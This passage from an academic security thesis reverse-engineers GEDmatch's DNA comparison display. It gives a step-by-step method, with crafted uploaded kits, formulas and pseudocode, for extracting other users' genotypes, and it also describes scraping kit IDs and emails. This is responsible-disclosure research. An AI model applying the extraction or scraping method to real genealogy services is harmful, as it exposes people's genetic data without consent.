then an adversary could potentially use that service as an oracle to extract information about

a target user’s DNA. Said another way, it seemed that third-party genetic matching services

might be vulnerable by design — that vulnerabilities might be fundamentally inherent in how

these systems are designed.

This observation left us in the following situation: there is a potential systemic issues

that, if exploited, could significantly impact users of genetic genealogy services, and hence

we felt a responsibility to disclose that information to the parties who might be able to help

improve security. Given the potential systemic nature of our findings, the list of parties to

disclose to is incredibly broad — we felt a responsible to disclose to not just a single company,

but to all the leading companies in the genetic genealogy community, as well as to consumers

of these services (like law enforcement), regulators, and to the computer security community

(which can help the genetic genealogy community increase their security).

However, at the time of our project conception, we did not know whether all our con-

jectures were correct and whether any existing genetic genealogy service might actually be

vulnerable or not. Thus, we worried that simply disclosing our concerns about potential

risks would not lead to actionable directions for — or actions from — any of the stakeholders

involved. Indeed, the existence of Goodrich’s prior work [49], and our conjecture that re-

lated risks might hold with today’s real, commercial services, suggests that simply disclosing

potential vulnerabilities may not be enough to encourage action by the relevant stakehold-

ers. Hence, we determined that it was necessary to rigorously and experimentally evaluate

Questions 1 and 2 from Section 4.3. Such rigorous experimentation would not only provide

us with validation of whether our conjectures were correct, but would provide a thorough
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understanding of exactly how our conjectured weaknesses manifest (if they do), and would

also provide a concrete, informed foundation for considering defenses.

4.4.2 Concrete Experiments with GEDmatch

Having determined that it was essential to experimentally evaluate our conjectured weak-

nesses with a real third-party genetic matching service, we also determined that it was

essentially to do so in an ethical, responsible, and legally responsible way. We chose to focus

our experiments on GEDmatch, which is a leading third-party genetic analysis service. We

chose to focus on GEDmatch in part because of its prominent role in many helping solve

many cold criminal cases (see Section 4.2), as well as because of it’s prominence among users

(with close to 1 million uploaded profiles). This prominence of GEDmatch means that any

results that we uncover would be meaningful not only to the field at large (given the potential

systemic nature of the observations), but directly to many current and future users and use

cases.

Having decided to experiment with GEDmatch, our next step was to ensure that all

our experiments were not only legal, but that our experiments respected the privacy of

GEDmatch users and minimized the impact to existing GEDmatch services.

The GEDmatch Terms-of-Service allows raw data uploads from artificial DNA kits as long

as it is (1) intended for research and (2) is not used to identify anyone in the GEDmatch

database. We ensured that we complied with both (1) and (2). Further, to protect the

privacy of any individual (both GEDmatch users and non-users), we derived all the DTC

profiles that we used in this study from publicly available, anonymous genetic datasets —

datasets explicitly designated for research use (the 1000 Genomes Project and OpenSNP).

Further, to protect the privacy of any real individual, and to ensure that our profiles were

“artificial” (as stipulated in the GEDmatch terms of service), each kit that we uploaded used

data composed from two separate individuals (i.e., did not correspond to any real human).

The privacy setting for each kit we uploaded was set to “Research” instead of the default

“Public” (two settings offered by GEDmatch). This “Research” designation means that our
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kits would not appear in the matching results of other users. Furthermore, to avoid any

risk of de-anonymizing the anonymous donors to the 1000 Genomes Project and OpenSNP

datasets, we only analyzed DNA matches between the experimental kits we uploaded and

did not view any matching results containing real GEDmatch users.

Our University IRB explicitly determined, through written review, that our research did

not require IRB oversight. Our IRB made this determination because all the data used used

in our experiments was derived from public data and had no identifiers. Nevertheless, we

exercised extreme caution with all our experiments, as discussed above.

4.4.3 Responsible Disclosure

Foreshadowing the subsequent sections of this chapter, our findings do align with our initial

hypotheses: GEDmatch is vulnerable to genotype extraction and forged relative attacks.

We will contact the services we evaluated directly in this study, like GEDmatch, to make

them aware of our security findings. We will also plan to contact a broader set of relevant

stakeholders. This will include DTC testing companies and other third party services, since

we suspect that some of the vulnerabilities we find may apply to other services. Only after

the completion of these steps will the results described in this chapter will be made public.

4.5 Reverse Engineering DNA Matching on GEDmatch

GEDmatch offers a number of analysis utilities to find genetic relatives. One such utility,

called the “One-to-one Autosomal DNA Comparison” application lets users genetically com-

pare two kits together (recall that a “kit” is GEDmatch’s term for uploaded genetic data

files). The one-to-one comparison finds similar or matching segments between the two kits

and uses the segments to estimate of the genetic relationship between the two kits (e.g.,

2nd-3rd cousin). Relative matching queries (known as one-to-many DNA comparisons) are

effectively one-to-one comparisons against all kits in the database.

In subsequent sections we study how an adversary might use the results from one-to-one

matches to extract genetic information from other kits, or how an adversary can upload
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falsified data to manipulate matching results and produce controlled, spurious outputs.

In this section we experimentally and analytically uncover how one-to-one comparison

work on GEDmatch, which will form the basis of these attacks.

4.5.1 Experimental Setup

To better understand GEDmatch’s one-to-one comparison algorithm we created a GED-

match user account and uploaded a number of kits for experimentation (see Table 4.1 for a

description of these kits). All experiments were done between 01/16/19 and 03/31/19.

To generate kits for experimentation we combined variant calling data from the 1000

Genomes project and DTC data files from OpenSNP [50, 1], using a modified methodology

from Erlich et al. [34] used in their study of identity inference attacks on GEDmatch (see

Section 4.2.4 for a discussion of [34]).

To generate each target DTC file we used data from two 1000 Genomes individuals in

the CEU population and one OpenSNP DTC file generated by 23andMe with the v5 chip.

The 1000 Genomes individuals were used for the autosomal genotype data — we alternated

chromosome data from the two individuals (chromosome 1 came from the first individual,

chromosome 2 from the second, chromosome 3 from the first, etc.). Note that GEDmatch

primarily does matching using autosomal data (chromosomes 1-22). The non-autosomal

genotype, SNP IDs, and positions came from the OpenSNP DTC genetic file. We used two

1000 genomes individuals for the genotype data to ensure that the kit did not correspond to

any real individual, and was thus artificial, so that it conformed to the GEDmatch ToS.

We are primarily interested in understanding the privacy risks to users that have their kits

set to the default “Public” privacy setting on GEDmatch. This is the setting that allows for

the most functionality and allows kits to appear in the results of relative matching queries

from other users (but is not supposed to reveal any raw genetic information). However,

for our experimental purposes, to prevent the target kits from interfering with real user

matches, we set the kits to the more restrictive “Research” privacy setting. This prevents

kits from appearing in database-wide one-to-many queries but still allows the user to run
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Experimental Kit Name Purpose

match(X)-kit Simulates half and full matching segments

marker-ind-kit Used to reverse engineer marker indication bar

filtered-kit Based on marker-ind-kit; SNPs with a MAF less than 1%

are filtered

overlap(X)-kit For testing kits that do not completely overlap with the

same SNPs

nonstandard-alleles-kit For testing non-standard alleles like -- --, II, DD, and ID

ext-kit Initial kit used for genotype extraction

extmod(n)-kit Based on ext-kit; On each chromosome, the genotype on

every nth SNP is changed to AC

target(X)-kit 23andMe based kits targeted for genotype extraction

Table 4.1: Kits used in the GEDmatch SNP extraction experiments.

direct one-to-one comparisons if the kit identifiers are known.

4.5.2 Methods to Find the Kit IDs

GEDmatch uses kit IDs to match two kits together. In a one-to-one comparison GEDmatch

requires the kit IDs of the two kits being compared. Therefore, if an adversary wanted to

attack a specific target they would need to know that target’s kit ID. An adversary can get

the kit ID of a specific individual using a few methods:

• GEDmatch provides a “User Lookup” tool that can lookup a user via email address or

genealogy ID (GEDCOM ID number). This tool returns the kit IDs of the public kits

that have been uploaded by that user account.

• One-to-many comparisons reveal the kit ID, name, and associated email address of all

Public matching kits. Up to 2,000 matching kits are shown for a standard account
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Figure 4.3: One-to-one Autosomal Comparison Results comparing match(1)-kit and
match(2)-kit for chromosome 3 using default comparison parameters. There is one match-
ing segment between 2,233,338 - 41,017,070 (build hg37) with genetic distance 59.2 cM that
includes 8212 SNPs . The image bars are compressed with at 1:35 ratio. On the marker
indication bar (top bar): green represents base pairs with a full match, yellow with a half
match, and red with no match. On the matching segments bar (bottom bar): blue represents
the matching segment, black no match, and tan a large gap between adjacent SNPs.

and 100,000 for a premium user [26]. One-to-many comparisons can be run on any

Public or Research kit using only the kit ID (it is not restricted to kits uploaded by

the adversary). Therefore, any new kit IDs uncovered via one-to-many matches can be

used in recursive one-to-many comparisons to gather additional kit IDs. The adversary

could use this to scrape a large collection of kit IDs, names, and email addresses.

• A user may reveal a kit ID, which is something we have seen numerous times on blog

posts, Internet forums, and videos.

4.5.3 Determining DTC Company and Genotyping Chip Version of a Target Kit

The precise SNPs present in genetic data file vary by the DTC company and chip version

used to genotype the DNA sample. In some attacks (described later) it is important that the

adversary is using kits that match the same DTC company and chip as the kit corresponding

to the target individual, so that as many SNPs as possible overlap between them. The

adversary can find these details for a particular target using the one-to-many matching

results, which reveals the DTC testing company and chip version of all matching kits.
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4.5.4 Initial Experiments with One-to-One Comparisons.

We began our investigation of one-to-one comparisons by running a comparison between two

kits. Our goal was to discover if there is any information revealed in one-to-one comparisons

that that could be leveraged by an adversary.

To construct these two kits, which we denote match(1)-kit and match(2)-kit, we copied

short runs of SNPs of varying lengths (ranging from 25 to 10,000 SNPs) from match(1)-kit

and replaced them in match(2)-kit to simulate small matching DNA segments. In some

cases we copied just one base from each SNP, to replicate half-matches, and other times, both

bases to replicate full-matches (recall that each SNP has two bases, one from each parent).

One-to-one comparisons are highly configurable: the user can adjust the minimum matching

size, windowing thresholds, genome build version, and resolution of the chromosome visu-

alizations (Figure 4.4). We compared match(1)-kit with match(2)-kit in a one-to-one

matching query with the default configuration, except that the pixel window width was set

to “full resolution”. This returned a set of 22 matching results and comparison images, one

for each of the autosomal chromosomes (see Figure 4.3 for the comparison results shown

for chromosome 3). At each chromosome the user is shown a table with the precise genetic

coordinates of matching segments and two colored bars encoding information about the com-

parison at different positions along the chromosome. One color bar represents how markers

compare (i.e., how SNPs compare) and the other represents large matching DNA segments.

We refer to these two colored bars as the marker indication bar and matching segment bar,

respectively.

We paid particular attention to the marker indication bar because it seemed to encode

the most information about the underlying SNPs. Each bar is 1-dimensional pixel vector

encoded in the GIF image file format. We extracted the 22 GIF images for each of the

chromosomes by downloading them with the Chrome web browser. There were four colors

in the present in the 22 marker indication bars: green, yellow, red, and purple. According

to a color key, green represents base pairs with a full match, yellow base pairs with a half
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match, red base pairs with no match. (Occasionally, the final pixel would be purple, which

according to the key represents a match with phased data. When this was the case we just

ignored that pixel in subsequent analysis).

4.5.5 Interpreting the Marker Indication Bar: Filtering SNPs

To better understand the relationship between SNPs and the 22 marker indication bars, we

uploaded a third kit, called marker-ind-kit, and ran an additional one-to-one comparison at

full resolution between marker-ind-kit and itself. (GEDmatch allows a kit to be compared

to itself.) As anticipated, this returned 22 marker indication bars that were all green pixels —

at every SNP you are comparing the same DNA bases because marker-ind-kit is being

compared to itself. Below the colored bars for chromosomes 1, 2, 3, and 6 it was printed:

“Image Size Reduction: 1
2
”. For each chromosome, the number of pixels in the marker

indication bar was substantially less than the number of SNPs.

We used the GEDmatch “DNA file diagnostic utility” to get additional details about

the marker-ind-kit. Most importantly, this utility reports the number of “Tokens” per

chromosome. The number of marker indication pixels, henceforth referred to as just pixels,

for each chromosome matched the number of tokens exactly — the exceptions were chromo-

somes 1, 2, 3, and 6 which had twice as many tokens as pixels (to account for the 1/2 image

size reduction). This suggested that after a kit is uploaded to GEDmatch, certain SNPs

are removed when a kit is tokenized (a procedure that happens soon after uploading a kit).

Furthermore, it indicates that each token has a one-to-one correspondence with each marker

indication pixel, and so, each tokenized SNP is compared individually between the two kits.

Our investigation of public discussions on GEDmatch led us to an online blog post sug-

gesting that GEDmatch might discard SNPs with a low minor allele frequency (MAF) [67].

The MAF is the frequency of the second most common SNP variant and can be used a proxy

for how much a given SNP varies within the human population.

To test this hypothesis we used the allele frequency data from the 1000 Genomes project

to filter out SNPs in marker-ind-kit with a MAF of less than 1% and re-uploaded this kit to
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Figure 4.4: Screenshot of GEDmatch’s web form for one-to-one autosomal comparisons.
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GEDmatch. We call this new kit filtered-kit. After filtering, the percent of SNPs missing

dropped precipitously from 19.3% to 2.1%. Therefore, GEDmatch seems to be filtering out

many SNPs with a low MAF in one-to-one comparisons.

4.5.6 Interpreting the Marker Indication Bar: Additional Details

There were a number of additional details about one-to-one comparisons that were necessary

to understand in order to implement an attack. These are described below:

• Only SNPs which are present in both of the kits are compared. We also hypothesized

that only SNPs that are present in both kits will be used in a comparison. To test

this we uploaded two kits overlap(1)-kit and overlap(2)-kit that were identical

to filtered-kit except that 10 SNPs were removed from chr22 in overlap(1)-kit

and 10 different SNPs were removed from chr22 in overlap(2)-kit. As expected,

each of the two kits had 10 fewer tokens on chr22 than filtered-kit. However,

when overlap(1)-kit was compared to overlap(2)-kit there were 20 fewer pixels

on chr22. This indicated that only SNPs in the intersection of both the two kits are

were used in the comparison.

• SNPs with non-standard bases are ignored. 23andMe DTC genetic data files contain

alleles other than the standard DNA bases. With 23andMe files, a no call is rep-

resented by two dashes (--), insertions by (II), deletions by (DD), and deletion/in-

sertions by (DI). We hypothesized that SNPs with non-standard genotypes are ig-

nored by GEDmatch and not tokenized. This was confirmed by uploading a final kit

nonstandard-alleles-kit, same as filtered-kit, except that we replaced the geno-

type of 10 SNPs on chr19 with dashes, 10 SNPs on chr20 with II, 10 SNPs on chr21

with DD, and 10 SNPs on chr22 with DI. The resulting kit had 10 fewer tokens on each

of chr19, chr20, chr21, and chr22 than filtered-kit, confirming that SNPs containing

dashes insertion, and deletions are ignored.
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• The pixel image is compressed when there are more than ˜32,000 pixels. We noticed

that whenever a kit was compared with itself and had more than ˜32,000 tokens on

a chromosome that there would be an image compression message below that chro-

mosomes. Therefore, we suspected that whenever the number of pixels was greater

than ˜32,000 the color bars were compressed, even when the pixel window width was

set to full resolution. This accounted for the image size reduction of 1
2

seen with

marker-ind-kit on chromosomes 1, 2, 3, and 6, all of which had more than 32,000

tokens.

4.5.7 Interpreting the Marker Indication Bar: Reconstructing the Coding Algorithm

Having removed SNPs with a low MAF in filtered-kit, the number of SNPs was close

enough to the number of pixels that it put us in a position where we could attempt to

decipher the information encoded in the pixels in filtered-kit because most of the SNPs

were being compared. After manually inspecting the data we noticed that GEDmatch seemed

to be treating A’s like T’s and C’s like G’s. We hypothesized that GEDmatch was using the

following scheme.

GEDmatch compresses the two-bit genotype data (A, C, G, and T) into one-bit (0 and 1)

during tokenization. A’s and T’s take one value (say 0) and C’s and G’s the other (say 1). At

every SNP, GEDmatch stores two bits, one for each of the two compressed 1-bit DNA bases.

When comparing two SNPs, the bits are compared in no particular order, since the order

of bases in DTC genetic data files has no meaning. If both bits are the same it is a match

(green), only one the same (yellow), or both different (red). Therefore, it is just a matter of

determining the number of identical bits at a given SNP. For example, AG compared to a

GT would be compressed to 10 vs 01, which would be green because there is one 1 and one

0 in both (see below for pseudocode representing the hypothesized GEDmatch comparison

scheme). It is unclear whether GEDmatch is actually storing the genotype of each SNP

in this binary encoding or whether the binary encoding is computed from normal genotype

data when making comparisons; it is, however, not necessary to know what is stored for our
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attacks to be successful.

def compare_snps(f1.snp, f2.snp):

sum1 = 0, sum2 = 0

# Sum the bits from the first SNP

sum1 += get_bit(f1.snp.base1)

sum1 += get_bit(f1.snp.base2)

# Sum the bits from the second SNP

sum2 += get_bit(f2.snp.base1)

sum2 += get_bit(f2.snp.base2)

if sum1 == sum2:

return "Green"

elif |sum1 - sum2| == 1:

return "Yellow"

elif |sum1 - sum2| == 2:

return "Red"

def get_bit(base):

if base == ’A’ or base == ’T’:

return 0

else if base == ’C’ or base == ’G’:

return 1

In Section 4.5.7 we discussed GEDmatch’s approach to generate a pixel when comparing

two SNPs. We present pseudocode for the inferred algorithm here.

4.5.8 Summary of One-to-one Comparisons

To summarize the key facts from one-to-one comparisons.

• GEDmatch is filtering out many SNPs with a low minor allele frequency. SNPs con-
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taining non-standard bases (like I/D or – –) in either of the two compared kits are also

ignored.

• Only SNPs that are present in both compared kits are used in the comparison. In

other words, only the SNPs that are in the intersection of the two kits are compared.

• The genotype of each SNP is compressed from 2-bit (i.e., {A,C,G,T}) to 1-bit (i.e.,

{0,1}). Furthermore, A/T are interpreted as one-bit (0) and C/G as the other (1).

• At full resolution (without image compression), each marker indication pixel corre-

sponds to a single SNP. The color of this pixel is determined by comparing the, 1-bit

genotype of that SNP in both kits: if both bits are the same the pixel is green, one bit

the same the pixel is yellow, and both bits different the pixel is red.

• The marker indication pixel vector on any chromosome is compressed in a comparison

that would produce more than ˜32,000 pixels.

4.6 SNP Extraction with Marker Indications

We now turn to exploring Question 1 from Section 4.3 in detail. In particular, we experi-

mentally explore our hypothesis that an adversary could use a third-party genetic analysis

service as an oracle to extract the DNA profile (raw SNPs) of an honest user of that service.

4.6.1 Generating Targets

We experimented with GEDmatch to evaluate if and how an attacker can extract raw SNPs

from other users on their services. We created a second GEDmatch user account (repre-

senting a targeted user) and constructed and then uploaded five different genetic data files

using the procedure described in Section 4.5.1. We denote these files as target(1)-kit-

target(5)-kit. The adversary’s goal was to extract the genotype of as many SNPs as

possible from the five target profiles using another GEDmatch account.
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Figure 4.5: Pane A: One-to-one comparison of extraction kits to the target kit. Pane B:
Theoretical comparison when no SNPs are ignored. Changed pixels are at multiples of n.
SNP indexes are listed above ext-kit. Pane C: Comparison when SNPs at indexes 3, 18,
19, and 26-30 are ignored. The correspondence could be determined for the SNPs at indexes
in red. Pane D: Extraction of the target kit binary genotype from the ext-kit marker
indication pixels. Workflow to extract compressed genotype from a targeted kit. Step (1):
Compare each extraction kit to the target with a one-to-one comparison. Step (2): Gather
the resulting 22 marker indication bars from each comparison. Step (3): Use the number
of intervening pixels between changed pixels to inductively compute the correspondence
between changed pixels and SNPs. Step (4): Recursively infer the SNP correspondences for
more changed pixels if less than half the intervening pixels are missing. Step (5): Compute
the binary genotype of the target kit with the ext-kit comparison pixels for every SNP that
has a known corresponding pixel.
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4.6.2 Extraction Overview

Our goal was to discover whether the genotype of a target could be extracted using just

marker indication pixels from one-to-one comparison. This attack is broken up into a number

of phases that are described in detail in the sections below. To begin, the binary genotype

of the target can be extracted by making a small number of one-to-one comparisons with

˜10–20 specially designed extraction kits. In our experiments, we were able to recover the

binary genotype for 61.0% of the SNPs in the target. Next, using known allele frequencies,

the lossy, binary compressed genotype can be converted into the normal base-2 genotype for

around 90.1% of the binary extracted SNPs. Finally, a genetic technique called imputation

can be used to fill in the genotypes for most of the remaining SNPs. Overall, we were able

to extract 92.6% of the SNPs with 98.4% accuracy from our five targets.

4.6.3 Binary Genotype Extraction: Determining the Correspondence Between Pixels and

SNPs

We know that at full resolution, each marker indication pixel corresponds to the comparison

of a single SNP. Therefore, if we know (1) which SNP corresponds to which pixel and (2) a

method to convert from pixel color to binary genotype, we can extract the binary genotype

of each of those corresponding SNPs. (See Figure 4.5 for an overview of the binary genotype

extraction procedure.) In this section we show how to find the pixel-to-SNP correspondence.

Recall from Section 4.5 that when two kits are compared, that SNPs may be ignored for

a number of reasons including: the SNP is not tokenized because it is filtered by GEDmatch

(e.g., the SNP has a low MAF), the SNP is missing in one of the two kits, or the genotype

of the SNP in one of the kits has a non-standard base like a dash or I/D. In all of these

cases the pixel corresponding to ignored SNPs will be missing in the marker indication bar

because that SNP was never used in the comparison. In some of these cases, the adversary

does not directly know which SNPs are present or have non-standard bases in the target

kit. Therefore, our goal is to infer the pixel-to-SNP correspondence for the SNPs that are
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compared given that the genotype of the target kit is unknown.

To begin, we uploaded a new kit to GEDmatch, called ext-kit, that was the same as

filtered-kit, except with two differences. First, any SNP with a genotype that was binary

encoded as 01 (e.g., AC, AG, CT, GT) was rewritten to AA (00 in binary encoding). Second,

every other SNP was removed on chromosomes with 1/2 image size reduction (i.e., chr1, chr2,

chr3, and chr6). We did this to reduce the number of tokens on each chromosome below the

˜32,000 pixel threshold that causes pixel compression. The resulting kit contained 363,164

autosomal SNPs and resulted in 347,511 tokens when uploaded to GEDmatch. This left

around 9 thousand SNPs that were still being filtered by GEDmatch.

We can identify the pixel corresponding to specific SNPs by making small modifications

to ext-kit. If the genotype of any SNP is replaced with AC (01 in binary) then the color

of the corresponding pixel will change in a one-to-one comparison with any other kit. To

understand why the pixel color always changes, there are two possible cases to consider:

case (1) the binary genotype of the other kit is homozygous (00 or 11) or case (2) it is

heterozygous (01). In case (1), every SNP in the unmodified ext-kit is 00 or 11, so 00/11

will be compared with 00/11, which results in a green or red pixel. However, when the SNP

is modified to 01, 01 is compared to 00/11 which always results in a yellow pixel. Similarly,

in case (2), 00/11 compared to 01 results in a yellow pixel, but when the SNP is changed to

01, 01 is compared 01, which results in a green pixel. We leverage this insight to find the

correspondence between a large number of pixels and SNP.

We created a new kit called extmod(n)-kit, that is the same as ext-kit, except on

each chromosome, the genotype of every nth SNP is replaced with AC — we refer to these

altered SNPs as modified SNPs. If we separately compare ext-kit and extmod(n)-kit to

any other kit, the resulting marker indication bars will be identical except for the pixels

that correspond to the SNPs that were changed to AC in extmod(n)-kit; we refer to the

pixels that differ between the marker indication bars as changed pixels. By counting the

number of intervening pixels between the changed pixels, we can estimate the pixel-to-SNP

correspondence for the changed pixels. We can repeat this for differing values of n to find
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the correspondence for a large number of SNPs.

Let m be the number of SNPs on a particular chromosome in ext-kit and S0, S1, ..., Sm−1

be a list of the SNPs on that chromosome, ordered by base position (the same order that

SNPs appear in DTC genetic data files). If no SNPs are missing there will be m pixels for

that chromosome and the pixel at index i will correspond with Si. Similarly, the pixels at

indexes which are multiples of n (i.e., 0, n, 2n, ...) will be the changed pixels (see Figure 4.5B).

However, since some of the SNPs are ignored, the indexes of the changed pixels will shift

(Figure 4.5C).

We can use the number of intervening pixels between two changed pixels to determine

their corresponding SNPs. Consider any two changed pixels at indexes p and q where p < q,

corresponding to SNPs Sj and Sk respectively. Let g be the number of intervening pixels

between p and q; in other words, g = q − p− 1. If the value of j is known, you can estimate

a lower bound for k using:

k ≥ j +
⌈g + 1

n

⌉
× n

If fewer than n SNPs are ignored between Sj and Sk then this formula becomes an

equality:

k = j +
⌈g + 1

n

⌉
× n (4.1)

Proof of Above Equality To prove the lower bound, we know that k > j because the

corresponding pixel for k is at a high index than the one corresponding to j. We also know

that k − j is a multiple of n because only SNPs at multiples of n were modified. Therefore,

we can write k − j = an for some positive integer a. Moreover, g + 1 ≤ k − j because pixels

are only filtered and not added, and so the gap between two changed pixels will only shrink

when SNPs are filtered. Therefore we have g + 1 ≤ k − j = an.
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j +
⌈g + 1

n

⌉
× n ≤ j +

⌈k − j
n

⌉
× n

= j +
⌈an
n

⌉
× n

= j + an

= j + (k − j) = k

Next we prove that when fewer than n SNPs were filtered between Sj and Sk the lower

bound becomes an equality. Let r be the number of SNPs filtered between Sj and Sk.

Suppose that r < n (i.e., fewer than n SNPs were filtered) then (k − j − 1)− g = r < n. g

can then be written as g = k − j − 1− r

j +
⌈g + 1

n

⌉
× n = j +

⌈(k − j − 1− r) + 1

n

⌉
× n

= j +
⌈k − j − r

n

⌉
× n

= j +
⌈an− r

n

⌉
× n

= j + an = j + (k − j) = k

Inductively Find the SNPs Corresponding to Changed Pixels The first changed

pixel will correspond with S0. We can use that as a basis for Equation 4.1 to inductively

determine the corresponding SNP for every subsequent changed pixel. This will work as

long as no more than n SNPs are missing between any two modified SNPs. If this is not the

case, then the predicted corresponding SNP indexes will be lower than expected. (There is

a boundary case that needs to be considered if S0 is missing and the first changed pixel has

index p > 0. Let x = dp+1
n
e × n, then the first changed pixel corresponds to SNP Sx. Like

Equation 4.1, this will hold as long fewer than n SNPs are missing before Sx, otherwise x

will be a lower bound on the corresponding SNP index.)
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Let Sl be the modified SNP with the highest index and Sf be the SNP corresponding to

the final changed pixel. If Sl was not missing then l = f . However, since Sl can be missing,

we can estimate f with f = l− (d c+1
n
e− 1)×n where c is the number of pixels after the final

changed pixel. This estimate will be correct as long as fewer than n SNPs are missing after

Sf , otherwise this estimate will be an upper bound for f .

We also have a separate estimate for f using the inductive procedure from Equation 4.1.

Again, this estimate will be correct as long as less than n SNPs are missing between changed

pixels, and if not the case, the estimate will be a lower bound. Therefore, if the two separate

estimates for f are the same then we know that less than n SNPs are missing between any

two adjacent changed pixels, which means the inductive estimates using Equation 4.1 are

correct.

We can keep increasing the value of n until this condition holds on all 22 chromosomes —

in practice, increasing the value of n makes it less likely that n or more SNPs will be randomly

missing between two modified SNPs. In our experiments, n = 512 was large enough to make

correct estimates for all chromosomes.

Recursively Find the Correspondence for Additional Pixels We can now use the

known SNP correspondences for the changed pixels as a basis to determine the SNPs corre-

sponding to the other, non-changed pixels. Let p and q (with p < q) be the indexes of two

changed pixels corresponding to SNPs Sj and Sk respectively and b be the number of SNPs

missing between Sj and Sk, then b = (k − j) − (q − p). If no SNPs are missing between Sj

and Sk (i.e., b = 0) then the intervening pixels correspond one-to-one with each of the SNPs

between Sj and Sk; in other words, the pixel at p + 1 corresponds with Sj+1, the pixel at

p+ 2 corresponds with Sj+2, etc.

If SNPs have been missing between Sj and Sk (i.e., b > 0) then we can use additional kits

to try to find the correspondence of the intervening, non-changed SNPs. If we choose an n

that is a power of 2, we can construct a new kit, extmod(n
2
)-kit, made by modifying every n

2

SNPs in ext-kit with AC. If extmod(n
2
)-kit is compared to the same kit as extmod(n)-kit,
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then the resulting marker indication bars will have changed pixels corresponding to SNPs at

indexes 0, n
2
, n, 3n

2
, 2n, ..., which is a superset of those from extmod(n)-kit.

We can use pixels corresponding to SNPs at indexes 0, n, 2n, ..., which were determined

earlier, to find the correspondence for the additional modified SNPs at indexes n
2
, 3n

2
, .... As

long as the gap between two changed pixels, with known correspondences, is less than n
2

(i.e.,

b < n
2
), then we can identify the SNPs corresponding of any intervening changed pixels using

Equation 4.1. We can recursively repeat this procedure between any two changed pixels

using additional kits with smaller values of n (e.g., n
4
, n
8
, etc.) until more than half the pixels

are missing between them.

We generated a total of 9 kits based on ext-kit using n = {2, 4, 8, 16, 32, 64, 128, 256, 512},

resulting in kits extmod(2)-kit,extmod(4)-kit,...,extmod(512)-kit. Recall, that when

constructing ext-kit half of the SNPs were removed on chromosomes 1, 2, 3, and 6 to

ensure that the image size would not be reduced to 1
2
. Therefore, we had to repeat this

procedure again by constructing a different ext-kit where we alternate which SNPs were

removed on chromosomes 1, 2, 3, and 6, so we can find the correspondence of all SNPs on

those chromosomes. In total we constructed and uploaded 20 kits to GEDmatch — 2 base

extraction kits and 18 modified ones.

These 20 kits were all compared to target(1)-kit, and using the pixel-to-SNP corre-

spondence algorithm, we were able to find the corresponding pixel for 374,418 of the SNPs.

In the next section we show how the binary genotype can be extracted for each of these

SNPs.

4.6.4 Binary Genotype Extraction: Pixel Color to Binary Genotype

Recall that ext-kit is homozygous in the binary genotype encoding at every SNP (i.e., it

is 00 or 11 at every SNP). If ext-kit is compared to any other kit we can use the color of

the resulting marker indication pixels to determine the binary genotype of SNPs in the other

kit. For simplicity, assume all SNPs in ext-kit have a binary genotype of 00 — it will work

similarly when a SNP has a binary genotype of 11. If the pixel is green, then the binary
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genotype of the matching SNP in the other kit must also be 00, since 00 vs 00 is the only

way to generate a green pixel. In a similar fashion, if the pixel is yellow then the matching

SNP must be 01 (00 vs 01), and if red, the matching SNP must be 11 (00 vs 11).

To test this extraction method, we attempted to extract the binary genotype of SNPs

from target(1)-kit. In the previous section, we already compared the 20 extraction kits to

target(1)-kit and identified 374,418 pixel-SNP pairs. Using the method described above

we extracted the binary genotype of these SNPs. We can predict the binary genotype of all

SNPs in target(1)-kit directly from the normal base-2 genotype, and used this to confirm

that the binary genotype from all of these SNPs were extracted correctly.

4.6.5 Decompress the Binary Genotype

In the previous section we extracted the compressed binary genotype of over 374,418 SNPs

in target(1)-kit. However, our objective is to extract the uncompressed, normal genotype.

The 1-bit compression is lossy, so we cannot directly infer the genotype of any SNP, but we

can use allele frequency data to infer certain SNPs. Depending on the binary genotype of a

SNP, there some situations where each bit only corresponds to a single allele. For example,

if a SNP is only known to have alleles A (0 in binary) and C (1 in binary) then we know

that a binary genotype of 01 corresponds to AC.

If a SNP only has two alleles that each correspond to different bits then all binary

genotypes can be decompressed. This situation is common because in the human population

the least common single base pair mutations were A/T and C/G substitutions, which together

only account for around 16.5% of the possible single base pair substitutions [123]. Such

substitutions are the only substitutions that lead to ambiguous situation, and therefore, we

expected to be able to decompress many SNPs. Of the 374,418 binary SNPs we extracted

from target(1)-kit, over 90.1% (337,468 SNPs) could be unambiguously decompressed.

We uncompressed each of these SNPs into the normal DNA bases and compared them them

to bases in target(1)-kit, which confirmed that all these SNPs were predicted correctly.

Of the 9.9% of SNPs which could not be decompressed, all but one corresponded to a SNP
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with three or more alleles. Therefore, we suspected that GEDmatch was additionally filtering

two-allele SNPs with genotypes that were inherently ambiguous (i.e., A/T and C/G). This

is sensible because these SNPs would not vary in binary between individuals, and thus, are

not useful in comparisons.

4.6.6 Impute the Remaining SNPs

At this stage, we have inferred 337,468 of the 613,878 SNPs in target(1)-kit. The last

step is to predict the remaining SNPs in the target kit. To do this we use a statistical

technique called imputation that is designed to predict missing genotypes [82]. Imputation

works better the more existing data that is already available, and since we already extracted

a large number of SNPs, we expected it to work well.

We used the Sanger Imputation service to impute the missing SNPs in target(1)-kit [85].

(In the Sanger Imputation service, we pre-phased the SNPs with EAGLE2 and used the

Haplotype Reference Consortium (r1.1) as the reference panel [80].) This imputed 231,126

additional SNPs in target(1)-kit with 96.0% accuracy.

4.6.7 Experiments with the Targets

To study the efficacy of this attack against targeted users, we extracted the five target kits

from a different account; the extraction kits were uploaded to one account and compared to

the target kits uploaded to a different account. We ran the end-to-end extraction procedure

on the five kits: we extracted 55.0% deterministically with 100% accuracy by decompressing

the binary genotype (Sections 4.6.3, 4.6.4, and 4.6.5), then predicted an additional 37.7%

of the SNPs using imputation with 96.0% accuracy (Section 4.6.6). In total, we extracted

an average of 92.6% of the SNPs with 98.4% accuracy. Thus, we answer Question 1 from

Section 4.3 in the affirmative, with demonstrated profile extraction capabilities.
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4.7 SNP Extraction Using Matching Segments

In the previous section we showed how the marker indication bar could be used to extract

the genotype of a large number of SNPs from some target kit. One defensive response might

be to simply remove that bar. Anticipating that possible response, in this section we explore

how other information revealed in one-to-one comparisons, like the matching segments bar

and matching segments table, can be used to extract specific SNPs of interest. See Figure 4.3,

and note the significantly lower resolution of the Matching Segments bar compared to the

Marker Indications bar that we used in Section 4.6. We show how an adversary can construct

matching segments arbitrarily and, thereby, use those falsified matching segments to extract

individual SNPs.

4.7.1 Constructing Matching DNA Segments

Recall that GEDmatch uses a 1-bit compression scheme when comparing SNPs. A segment,

or run of SNPs, is considered a match in GEDmatch if it contains a long enough run of half

or full matching SNPs (i.e., one or both bits match in each SNP). The precise parameters of

the comparison, like minimum segment length, are configurable by the user when they run

the one-to-one comparison.

